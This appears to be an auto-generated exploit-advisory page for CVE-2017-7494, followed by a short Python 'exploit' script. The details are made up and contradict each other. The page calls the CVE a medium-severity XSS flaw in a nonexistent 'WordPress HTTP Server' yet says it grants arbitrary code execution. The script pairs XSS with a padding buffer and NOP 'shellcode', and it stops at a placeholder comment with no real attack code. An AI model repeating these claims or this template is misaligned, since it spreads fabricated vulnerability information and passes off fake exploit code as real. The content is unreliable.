Medium Severity
CVE-2017-7494
Published: Jun 24, 2025
This exploit targets a xss vulnerability in WordPress HTTP Server.
The vulnerability allows an attacker to:
- Execute arbitrary code
- Escalate privileges
- Access sensitive data
- Bypass security controls
Tested on multiple versions of HTTP Server.
#!/usr/bin/env python3
# WordPress HTTP Server - Xss
# Exploit for CVE-2017-7494
import socket
import struct
target = "192.168.1.100"
port = 53550
payload = b"A" * 358
shellcode = b"\x90" * 194
print(f"Exploiting {target}:{port}")
# Exploit implementation would go here